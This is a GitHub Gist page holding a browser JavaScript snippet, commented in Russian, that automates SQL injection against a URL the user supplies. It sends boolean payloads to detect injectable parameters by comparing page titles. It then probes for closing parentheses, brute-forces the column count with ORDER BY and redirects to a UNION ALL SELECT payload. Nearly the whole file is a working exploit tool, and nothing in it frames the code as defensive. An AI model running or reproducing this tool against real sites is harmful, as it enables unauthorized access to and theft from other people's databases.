Last active
July 8, 2019 17:14
-
-
Save s3rgeym/9f0e3b5a4cc8bc4dbe3721e341b51bf2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
'use strict' | |
const QUOTES = ['', "'", '"'] | |
// const THRESHOLD = 0.95 | |
// function levenstein(a, b) { | |
// const d = (i, j) => 0 === Math.min(i, j) ? Math.max(i, j) : Math.min(d(i - 1, j) + 1, d(i, j - 1) + 1, d(i - 1, j - 1) + (a[i - 1] === b[j - 1] ? 0 : 1)) | |
// return d(a.length, b.length) | |
// } | |
// levenstein('kitten', 'sitting') | |
// function ratio(a, b) { | |
// return 1 - levenstein(a, b) / Math.max(a.length, b.length) | |
// } | |
// Зависает на больших текстах | |
// ratio(document.body.innerHTML, document.body.innerHTML) | |
// Все примеры отсюда https://en.wikibooks.org/wiki/Algorithm_Implementation/Strings/Levenshtein_distance так же зависают | |
function getTitle(url) { | |
// У fetch какие-то проблемы с кодировками отличными от utf-8 | |
return new Promise((resolve, reject) => { | |
const xhr = new XMLHttpRequest() | |
xhr.open('GET', url) | |
xhr.onload = () => { | |
const doc = new DOMParser().parseFromString(xhr.response, 'text/html') | |
resolve(doc.title) | |
} | |
xhr.onerror = () => reject(new Error('Request failed')) | |
xhr.send() | |
}) | |
} | |
function inject(url, sql) { | |
// Для лучшей читаемости | |
sql = encodeURIComponent(sql).replace(/%2C/g, ',') | |
if (url.indexOf('*') !== -1) { | |
url = url.replace('*', sql) | |
} else { | |
url += sql | |
} | |
return url | |
} | |
async function getCloseParen(url, originTitle, quote) { | |
for (let i = 0; i < 10; ++i) { | |
const paren = ')'.repeat(i) | |
const sql = `${quote}${paren}-- -` | |
const title = await getTitle(inject(url, sql)) | |
if (title === originTitle) { | |
return paren | |
} | |
} | |
throw new Error('Something went wrong') | |
} | |
async function getColumnsNumber(url, originTitle, quote, closeParen) { | |
for (let i = 0; i < 150; ++i) { | |
const sql = `${quote}${closeParen} order by ${i + 1}-- -` | |
const title = await getTitle(inject(url, sql)) | |
if (title !== originTitle) { | |
if (i === 0) { | |
break | |
} | |
return i | |
} | |
} | |
throw new Error('Something went wrong') | |
} | |
async function run() { | |
const url = prompt('Подставьте "*" после проверяемого значения параметра:', location.href.replace(/#.*/, '')) | |
const originTitle = await getTitle(inject(url, '')) | |
for (let quote of QUOTES) { | |
const sql = `${quote} and ${quote}` | |
const title = await getTitle(inject(url, sql + 1)) | |
if (title === originTitle) { | |
const title = await getTitle(inject(url, sql + 0)) | |
if (title !== originTitle) { | |
console.info('Уязвимость обнаружена!') | |
const paren = await getCloseParen(url, originTitle, quote) | |
const columns = await getColumnsNumber(url, originTitle, quote, paren) | |
const numbers = Array(columns).fill().map((v, i) => i + 1) | |
const sql = `${quote} and 0${paren} union all select ${numbers.join(',')}-- -` | |
location.replace(inject(url, sql)) | |
break | |
} | |
} | |
} | |
} | |
run() | |
})() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment